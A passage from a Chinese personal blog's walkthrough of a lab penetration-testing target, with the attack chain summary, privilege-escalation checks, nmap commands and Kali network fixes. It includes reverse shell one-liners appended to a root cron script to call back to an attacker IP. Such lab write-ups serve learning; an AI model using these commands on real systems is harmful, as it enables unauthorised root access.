而且这个脚本是可修改的,所以vim下

(我服了,这好难改啊,还把原内容覆盖到了,而且#!/bin/bash怎么写都报错)

1
echo "/bin/bash –i >& /dev/tcp/192.168.1.109/1234 0>&1" >> Cl*

然后kali这边监听这端口就是了

嘶,换一个语句

1
echo "bash -i >& /dev/tcp/192.168.1.109/1234 0>&1" >>Cl*

总结

  1. 有80,22,3306,8080端口

  2. 80端口是个页面,8080端口是后台登录页面,3306是拒绝远程连接的,22最后尝试了是没有的

  3. 主要切入点在字典爆破这里,要有一个好的字典,而且还要想到是对特定后缀html、php的扫描等,这个access.html扫不出来就没办法了

    要么加参数,要么换字典换工具

  4. 之后对密码进行解密,hashes.com也可以,

    还要想到用户名和密码可能是错位的

  5. ssh、mysql尝试都失败了,去8080端口登入,进入后台

  6. 找到上传点,有一个build project,它的编辑页面可以执行shell,输入shell,攻击机监听

  7. 得到websehll,尝试提权,最终发现crontab有一个脚本,以root身份每五分钟执行一次

  8. 添加反弹shell语句,攻击机监听得到rootshell

学到了

上面那个密码排列组合,最好用burpsuite的intruder集束炸弹爆破即可

以后加脚本就不要vim进去,直接echo添加进去即可

问题解决-kali无ip

kali挂起后了一会儿,启动,kali网络不可达,ifconfig,eth0没地址

去设置的文件看,auto eth0 ….dhcp没问题啊

解决方案

1
2
3
4
5
/etc/network/interfaces

/etc/resolv.conf

ifconfig eth0 up

去网络编辑器,把vmet0的桥接模式的自动改为 物理机的wlan,(Realtek)

这个vmet0,可能自己没了,需要添加

kali重启或者 sudo service networking restart,这个时候会有ip,可以联网(搜东西),就是ping不了,但是netdiscover可以用了,无所谓了

我不禁想问,这些问题的出现,是在劝我不要走这条路,还是说在考验我呢?

问题解决之-sublime

dirb扫完后,比如选择含有CODE的行,输入正则

(?!.*CODE:200).+

提权方式

1
2
3
4
uname -a #脏牛提权
find / -perm -u=s -type f 2>/dev/null #找sbin文件
cat /etc/crontab #定时任务
echo $PATH #环境变量提权

以低权限修改可执行文件/脚本,却以高权限运行可执行文件/脚本

ftp上传或下载文件的过程

  1. USER user指定用户名
  2. PASS passwd指定密码
  3. SIZE file.txt返回指定文件大小
  4. CWD dirname改变工作目录
  5. PORT 告诉ftp服务器客户端监听的端口号
  6. RETR 下载文件
  7. STOR 上传文件
  8. REST 略过指定点后的数据
  9. QUIT 断开连接

工具-crackmapexec

kali自带,可用来自动化爆破,指定用户名txt和密码txt,进行爆破,使用教程

nmap命令

向“红队笔记”看齐,统一以下命令

1
2
3
4
nmap -sn 192.168.1.0/24
nmap --min-rate 10000 -p- 192.168.1.x
nmap -sT -sC -sV -O -p80,22,333,444 192.168.1.x
nmap --script=vuln -p80,135 ip
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信